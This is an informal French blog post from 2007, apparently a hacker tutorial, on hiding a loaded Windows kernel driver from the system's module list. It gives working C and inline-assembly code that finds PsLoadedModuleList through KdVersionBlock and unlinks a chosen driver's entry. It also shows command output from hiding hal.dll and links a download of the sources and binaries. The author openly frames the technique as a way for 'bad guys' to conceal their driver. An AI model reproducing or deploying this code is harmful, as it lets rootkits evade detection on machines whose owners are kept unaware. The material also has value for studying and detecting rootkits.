LKM Hiding (Loaded Kernel Module)
Yop, aujourd’hui je vais tripper en vous montrant comment jouer dans le KernelLand, ce magnifique monde plein de dangers dans lequel la moindre erreur vous envoie un BSOD in da face. Si vous n’avez pas fuit envoyant le titre je préfère vous rassurez en vous disant que c’est une peu comme le UserLand mais en pas pareil :]
Un exe en UserLand pour pouvoir use les fonctions des dll les load en mémoire bien au chaud a coté de lui, pour lenoyau c’est pareil il va avoir les drivers (win32k.sys) ou dll (hal.dll) en mémoire avec lui.
Lorsqu’on charge un driver le system tient à jour une liste des modules chargés en mémoire. On peut la recupérer en utilisant l’API native NtQuerSystemInformation avec le SystemInformationClass mit à SystemModuleInformation, on recupère un tableau
de structures SYSTEM_MODULE_INFORMATION qui ressemble à :
typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11 ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
Un petit exemple d’exécution du programme :
C:\\ProgHackc>SystemModuleInformation Error with NtLoadDriver : 0xc0000004 : 24 ImageName :\\\\WINDOWS\\system32\\ntoskrnl.exe Base : 0x804d7000 Size : 2181376 bytes Index : 0 LoadCount : 1 ImageName :\\\\WINDOWS\\system32\\hal.dll Base : 0x806ec000 Size : 81280 bytes Index : 1 LoadCount : 1 [...]
On peut voir le nom du module, l’ImageBase, sa taille, l’index dans le tableau et le nombre de fois qu’il à été loadé.Mais nous ! On est des méchants et on voudrait que notre driver ne soit pas dans cette liste !
En jouant avec le LKD au lancement on peut voir 2 valeurs :
Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055a420 Kernel base je vous laisse demander à votre maman ce que c’est, mais PsLoadedModuleList WTF !
lkd> dd 0x8055a420 L 8 8055a420 81bfc3b0 8191ad90 00000000 00000000 8055a430 00000000 00000000 00000000 00000000
Bon 2 pointeurs alors voir ca :]
81bfc3b0 81bfc348 8055a420 00000000 00000000 H... .U......... 81bfc3c0 00000000 00000000 804d7000 806ac2be .........pM...j. 81bfc3d0 00214900 003c003c e1000008 00180018 .I!.<.<......... 81bfc3e0 81bfc3fc 0c004000 00000001 00000000 .....@.......... 81bfc3f0 00217a75 00000000 00000000 0074006e uz!.........n.t. 81bfc400 0073006f 0072006b 006c006e 0065002e o.s.k.r.n.l...e. 81bfc410 00650078 15aa0000 0a20000e 20206d4d x.e....... .Mm 81bfc420 00000000 00000000 00000000 00000000 ................
Hooo ! ecrit en unicode on voit ntoskrnl.exe, remarquez aussi que les 2 premiers DWORD font partie d'une structure LIST_ENTRY, ce qui veut dire que les infos des modules font partie d'une double liste chainée. La structure est documenté vite fait :
// undocumented structure ... typedef struct _MODULE_ENTRY { LIST_ENTRY link; // Flink, Blink UCHAR unknown1[16]; ULONG imageBase; ULONG entryPoint; ULONG imageSize; UNICODE_STRING drvPath; UNICODE_STRING drvName; //... } MODULE_ENTRY, *PMODULE_ENTRY;
GOOD tout ca, bon now faudrais quand même penser à récup l'adresse de PsLoadedModuleList, différente pour chaque version de win..
Le trick de tibétain consiste à lire playboy heuuu rootkit.com et plus particulièrement le texte d'Opcodes sur les varsnoyau non exportées par ntoknrl :
http://www.rootkit.com/newsread.php?newsid=101
et reprit par Alex Ionescu :
http://www.rootkit.com/newsread.php?newsid=153
Dans le KPCR (KERNEL PROCESSOR CONTROL REGION) se trouve un champ appelé KdVersionBlock, un pointeur, et comme la si bien remarqué Opcode :
KdVersionBlock points to: 0x0-0xC = Unknown 0x10 = KernelBase 0x18 = PsLoadedModuleList 0x20 = Pointer to Pointer to Debug Data 0x28 = LIST_ENTRY to Debug Data, Forward 0x38 = Debugger Tag.
Après il suffit de récup le KPCR et c'est nickel, et le KPCR comme Tolwin le dit dans le n0name mag
http://ivanlef0u.fr/repo/zines/n0name-mag/papers/kerneladventure.txt
"Par FS tu entreras, la région de contrôle tu trouveras"
La messe est dite place au code
NTSTATUS Dkom(PCHAR pModuleToHide) { PMODULE_ENTRY pFirstModule, pModule; ANSI_STRING asModuleToHide; UNICODE_STRING usModuleToHide; RtlInitAnsiString(&asModuleToHide, pModuleToHide); /* TRUE pour AllocateDestinationString Specifies if this routine should allocate the buffer space for the destination string. If it does, the caller must deallocate the buffer by calling RtlFreeUnicodeString. */ RtlAnsiStringToUnicodeString(&usModuleToHide, &asModuleToHide, TRUE); __asm { mov eax, dword ptr fs:[0x34] //+0x034 KdVersionBlock : Ptr32 Void mov eax, dword ptr [eax+0x18] //PsLoadedModuleList mov eax, dword ptr [eax] mov pFirstModule, eax } pModule=pFirstModule; DbgPrint("Module : 0x%x", pModule); do { DbgPrint("Module : 0x%x", pModule); DbgPrint("Module Name : %Sn", pModule->drvName.Buffer); // %S Unicode String if(RtlEqualUnicodeString(&(pModule->drvName), &usModuleToHide, FALSE)) { DbgPrint("Ok now time to be MAD"); //on modif la double liste chainée pModule->link.Blink->Flink=pModule->link.Flink; pModule->link.Flink->Blink=pModule->link.Blink; } pModule=(PMODULE_ENTRY)pModule->link.Flink; }while(pModule!=pFirstModule); RtlFreeUnicodeString(&usModuleToHide); return STATUS_SUCCESS; }
La fonction Dkom récup la string du module que l'on veut viré puis la convertie en unicode. Ensuite on récup la PsLoadedModuleList et on cherche notre MODULE_ENTRY, quand on la on modif les pointeurs des MODULE_ENTRY suivante et précédente, izi :]
Pour être plus tranquil j'ai demandé à mon driver de pouvoir recevoir des datas du userland avec un DeviceIoControl
Un petit exemple :]
C:\\Drivers\\dkom_services>SystemModuleInformation Error with NtLoadDriver : 0xc0000004 : 24 ImageName :\\\\WINDOWS\\system32\\ntoskrnl.exe Base : 0x804d7000 Size : 2181376 bytes Index : 0 LoadCount : 1 ImageName :\\\\WINDOWS\\system32\\hal.dll Base : 0x806ec000 Size : 81280 bytes Index : 1 LoadCount : 1 [...]
Je load le driver
C:\\Drivers\\dkom_services>NtLoadDriver -load \\\\??C:\\Drivers\\dkom_services\\i386test.sys
Now je demande de faire DISPARAITRE hal.dll, dkom est le nom du device pour communiquer avec le driver.
C:\\Driversd\\kom_services>DeviceIoControl dkom hal.dll \\\\.\\Globaldkom C:\\Drivers\\dkom_services>SystemModuleInformation Error with NtLoadDriver : 0xc0000004 : 24 ImageName :\\\\WINDOWS\\system32\\ntoskrnl.exe Base : 0x804d7000 Size : 2181376 bytes Index : 0 LoadCount : 1 ImageName :\\\\WINDOWS\\system32\\KDCOM.DLL Base : 0xf8987000 Size : 8192 bytes Index : 1 LoadCount : 3
Que rajouter :] ha si ! ne rebooter pas sinon vous aurez un BSOD !
Allay hop le .rar avec tout le bordel, sources et binaires
http://ivanlef0u.fr/repo/DKOM.rar
2 comments janvier 5th, 2007